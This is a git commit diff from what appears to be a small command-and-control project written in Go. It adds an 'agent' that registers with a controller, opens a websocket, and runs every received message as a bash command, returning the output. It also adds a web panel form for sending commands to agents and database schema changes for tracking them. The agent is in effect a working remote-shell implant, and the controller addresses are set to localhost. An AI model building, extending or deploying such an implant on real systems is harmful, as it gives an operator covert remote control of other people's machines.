added agent

This commit is contained in:
gurkenhabicht 2025-01-09 16:42:27 +01:00
parent cb8d779a57
commit d087696c09
6 changed files with 218 additions and 87 deletions

118
agents/agent.go Normal file
View File

@ -0,0 +1,118 @@
package main
import (
// "bytes"
// "encoding/json"
"fmt"
"log"
"net/http"
"net/url"
"os/exec"
// "time"
"github.com/gorilla/websocket"
)
const(
webServerAddr = "127.0.0.1:3333"
webSocketAddr = "127.0.0.1:5555"
registerURL = "http://" + webServerAddr + "/agents"
wsURL = "ws://" + webSocketAddr + "/ws"
)
type Agent struct {
AgentName string `json:"agentName"`
AgentID string `json:"agentId"`
InitialContact string `json:"initialContact"`
LastContact string `json:"lastContact"`
}
var conn *websocket.Conn
func registerAgent(agentName string, agentId string) error {
// agent:= Agent{
// AgentName: agentName,
// InitialContact: time.Now().Format(time.RFC3339),
// LastContact: time.Now().Format(time.RFC3339),
// }
// jsonData, err := json.Marshal(agent)
// if err != nil {
// return fmt.Errorf("Error marshaling agent data: %v", err)
// }
// resp, err := http.Post(registerURL, "application/json", bytes.NewBuffer(jsonData))
form := url.Values{}
form.Add("agentId", agentId)
form.Add("agentName", agentName)
resp, err := http.PostForm(registerURL, form)
if err != nil {
return fmt.Errorf("Error registering agent: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusCreated {
return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
}
log.Printf("Agent %s successfully registered.", agentName)
return nil
}
func connectToWebSocket() error {
var err error
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
return fmt.Errorf("Failed to connect to WebSocket: %v", err)
}
log.Println("WebSocket connection established")
return nil
}
func listenForCommands() {
defer conn.Close()
for {
_, message, err := conn.ReadMessage()
if err != nil {
log.Printf("Error reading message: %v", err)
break
}
command := string(message)
log.Printf("Received command: %s", command)
cmd := exec.Command("bash", "-c", command)
output, err := cmd.CombinedOutput()
if err != nil {
output = append(output, []byte(fmt.Sprintf("\n Error executing command: %v", err))...)
}
if err := conn.WriteMessage(websocket.TextMessage, output); err != nil {
log.Printf("Error sending output: %v", err)
break
}
log.Printf("Output sent to server.")
}
}
func main() {
agentName := "Agent-001"
agentId := "1234"
if err := registerAgent(agentName, agentId); err != nil {
log.Fatalf("Agent registration failed: %v", err)
}
if err := connectToWebSocket(); err != nil {
log.Fatalf("Websocket connection failed: %v", err)
}
listenForCommands()
}

BIN
agents/agents Executable file

Binary file not shown.

View File

@ -2,10 +2,13 @@
drop table if exists agents; drop table if exists agents;
create table agents ( create table agents (
id UUID default uuid() Primary Key,
agentId int, agentId int,
agentName varchar(255), agentName varchar(255),
IPv4Address varchar(15),
initialContact timestamp, initialContact timestamp,
lastContact timestamp lastContact timestamp,
status Boolean
); );
insert into agents values ( 99, "testAgent", NOW(), NOW()); insert into agents (agentId, agentName, initialContact, lastContact) values ( 99, "testAgent", NOW(), NOW());

169
main.go
View File

@ -8,8 +8,8 @@ import (
// "errors" // "errors"
"fmt" "fmt"
"io" // "io"
"io/ioutil" // "io/ioutil"
// "net" // "net"
"database/sql" "database/sql"
@ -83,80 +83,80 @@ func initDB () {
log.Println("Connected to database") log.Println("Connected to database")
} }
func fetchAgents(w http.ResponseWriter, r *http.Request) { // func fetchAgents(w http.ResponseWriter, r *http.Request) {
agents, _ := getAgents(db) // agents, _ := getAgents(db)
log.Printf("%s",agents) // log.Printf("%s",agents)
tmpl.ExecuteTemplate(w, "agentList", agents) // tmpl.ExecuteTemplate(w, "agentList", agents)
} // }
func getAgents(dbPointer *sql.DB) ([]Agent, error) { // func getAgents(dbPointer *sql.DB) ([]Agent, error) {
query := "Select agentId, agentName, initialContact, lastContact from agents" // query := "Select agentId, agentName, initialContact, lastContact from agents"
rows, err := dbPointer.Query(query) // rows, err := dbPointer.Query(query)
if err != nil { // if err != nil {
return nil, err // return nil, err
} // }
defer rows.Close() // defer rows.Close()
var agents []Agent // var agents []Agent
for rows.Next() { // for rows.Next() {
var agent Agent // var agent Agent
rowErr := rows.Scan(&agent.AgentID, &agent.AgentName, &agent.InitialContact, &agent.LastContact) // rowErr := rows.Scan(&agent.AgentID, &agent.AgentName, &agent.InitialContact, &agent.LastContact)
if rowErr != nil { // if rowErr != nil {
return nil, err // return nil, err
} // }
agents = append(agents, agent) // agents = append(agents, agent)
} // }
if err = rows.Err(); err != nil { // if err = rows.Err(); err != nil {
return nil, err // return nil, err
} // }
return agents, nil // return agents, nil
// return agents, rows.Err() // // return agents, rows.Err()
} // }
func getRoot(w http.ResponseWriter, r *http.Request) { // func getRoot(w http.ResponseWriter, r *http.Request) {
ctx := r.Context() // ctx := r.Context()
hasFirst := r.URL.Query().Has("first") // hasFirst := r.URL.Query().Has("first")
first := r.URL.Query().Get("first") // first := r.URL.Query().Get("first")
hasSecond := r.URL.Query().Has("second") // hasSecond := r.URL.Query().Has("second")
second := r.URL.Query().Get("second") // second := r.URL.Query().Get("second")
body, err := ioutil.ReadAll(r.Body) // body, err := ioutil.ReadAll(r.Body)
if err != nil { // if err != nil {
fmt.Printf("Could not read body: %s\n", err) // fmt.Printf("Could not read body: %s\n", err)
} // }
fmt.Printf("%s: got / request. first(%t)=%s, second(%t)=%s body:\n%s\n", // fmt.Printf("%s: got / request. first(%t)=%s, second(%t)=%s body:\n%s\n",
ctx.Value(keyServerAddr), // ctx.Value(keyServerAddr),
hasFirst, first, // hasFirst, first,
hasSecond, second, // hasSecond, second,
body, // body,
) // )
// fmt.Printf("%s: got / request\n", ctx.Value(keyServerAddr)) // // fmt.Printf("%s: got / request\n", ctx.Value(keyServerAddr))
io.WriteString(w, "This is my website!\n") // io.WriteString(w, "This is my website!\n")
} // }
func getHello(w http.ResponseWriter, r *http.Request) { // func getHello(w http.ResponseWriter, r *http.Request) {
ctx := r.Context() // ctx := r.Context()
fmt.Printf("%s: go /hello request\n", ctx.Value(keyServerAddr)) // fmt.Printf("%s: go /hello request\n", ctx.Value(keyServerAddr))
myName := r.PostFormValue("myName") // myName := r.PostFormValue("myName")
if myName == "" { // if myName == "" {
w.Header().Set("x-missing-field", "myName") // w.Header().Set("x-missing-field", "myName")
w.WriteHeader(http.StatusBadRequest) // w.WriteHeader(http.StatusBadRequest)
return // return
} // }
io.WriteString(w, fmt.Sprintf("Hello, %s!\n", myName)) // io.WriteString(w, fmt.Sprintf("Hello, %s!\n", myName))
} // }
func getHomepage(w http.ResponseWriter, r *http.Request) { func getHomepage(w http.ResponseWriter, r *http.Request) {
tmpl.ExecuteTemplate(w, "index.html", nil) tmpl.ExecuteTemplate(w, "index.html", nil)
@ -242,7 +242,7 @@ func createAgent(w http.ResponseWriter, r * http.Request) {
} }
agentName := r.FormValue("agentName") agentName := r.FormValue("agentName")
agentId := 42 agentId := r.FormValue("agentId")
// initalContact := r.FormValue("initialContact") // initalContact := r.FormValue("initialContact")
// lastContact := r.FormValue("lastContact") // lastContact := r.FormValue("lastContact")
@ -253,6 +253,7 @@ func createAgent(w http.ResponseWriter, r * http.Request) {
return return
} }
w.WriteHeader(http.StatusCreated)
listAgents(w, r) listAgents(w, r)
} }
@ -296,32 +297,28 @@ func getAgentsFromDB() ([]Agent, error) {
return agents, rows.Err() return agents, rows.Err()
} }
func agentHandler(w http.ResponseWriter, r *http.Request) { // func agentHandler(w http.ResponseWriter, r *http.Request) {
parts := strings.Split(strings.TrimPrefix(r.URL.Path, "/agents/"), "/") // parts := strings.Split(strings.TrimPrefix(r.URL.Path, "/agents/"), "/")
if len (parts) < 1 || parts[0] == "" { // if len (parts) < 1 || parts[0] == "" {
http.Error(w, "Agent ID required", http.StatusBadRequest) // http.Error(w, "Agent ID required", http.StatusBadRequest)
return // return
} // }
agentId := parts[0] // agentId := parts[0]
switch r.Method { // switch r.Method {
case http.MethodGet: // case http.MethodGet:
getAgent(w, r, agentId) // getAgent(w, r, agentId)
// case http.MethodPost: // // case http.MethodPost:
// createAgent(w, r, agentId) // // createAgent(w, r, agentId)
// case http.MethodPut: // // case http.MethodPut:
// updateAgent(w, r, agentId) // // updateAgent(w, r, agentId)
// case http.MethodDelete: // // case http.MethodDelete:
// deleteAgent(w, r, agentId) // // deleteAgent(w, r, agentId)
default: // default:
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) // http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
} // }
} // }
type webSocketHandler struct {
upgrader websocket.Upgrader
}
func getAgent(w http.ResponseWriter, r *http.Request, agentId string) { func getAgent(w http.ResponseWriter, r *http.Request, agentId string) {
query := "Select agentId, agentName, initialContact, lastContact from agents where agentId = ?" query := "Select agentId, agentName, initialContact, lastContact from agents where agentId = ?"
@ -341,6 +338,10 @@ func getAgent(w http.ResponseWriter, r *http.Request, agentId string) {
} }
type webSocketHandler struct {
upgrader websocket.Upgrader
}
func (wsh webSocketHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (wsh webSocketHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
c, err := wsh.upgrader.Upgrade(w, r, nil) c, err := wsh.upgrader.Upgrade(w, r, nil)
if err != nil { if err != nil {

View File

@ -27,6 +27,15 @@
<!-- Agent List --> <!-- Agent List -->
<div id="agentList" hx-get="/agents" hx-trigger="load" hx-swap="innerHTML"></div> <div id="agentList" hx-get="/agents" hx-trigger="load" hx-swap="innerHTML"></div>
<div id="agentCommands">
<h3>Command Execution</h3>
<form hx-post="/agents/{agentId}/commands" hx-target="#commandOutput" hx-swap="innerHTML">
<input type="text" name="command" placeholder="Enter command" required>
<button type="submit" class="btn btn-primary">Execute</button>
</form>
<pre id="commandOutput"></pre>
</div>
<!-- Add Agent Form --> <!-- Add Agent Form -->
<button class="btn btn-primary mt-3" data-bs-toggle="collapse" data-bs-target="#addAgentForm">Add Agent</button> <button class="btn btn-primary mt-3" data-bs-toggle="collapse" data-bs-target="#addAgentForm">Add Agent</button>
<div id="addAgentForm" class="collapse mt-2"> <div id="addAgentForm" class="collapse mt-2">

View File

@ -16,7 +16,7 @@
<td>{{.InitialContact}}</td> <td>{{.InitialContact}}</td>
<td>{{.LastContact}}</td> <td>{{.LastContact}}</td>
<td> <td>
<button hx-get="/agents/{{.AgentID}}" hx-target="#agentDetails" hx-swap="innerHTML">View</button> <button class="btn btn-warning" hx-get="/agents/{{.AgentID}}" hx-target="#agentDetails" hx-swap="innerHTML">View</button>
<button class="btn btn-danger" hx-delete="/agents/{{.AgentID}}" hx-target="#agentList" hx-swap="innerHTML">Delete</button> <button class="btn btn-danger" hx-delete="/agents/{{.AgentID}}" hx-target="#agentList" hx-swap="innerHTML">Delete</button>
</td> </td>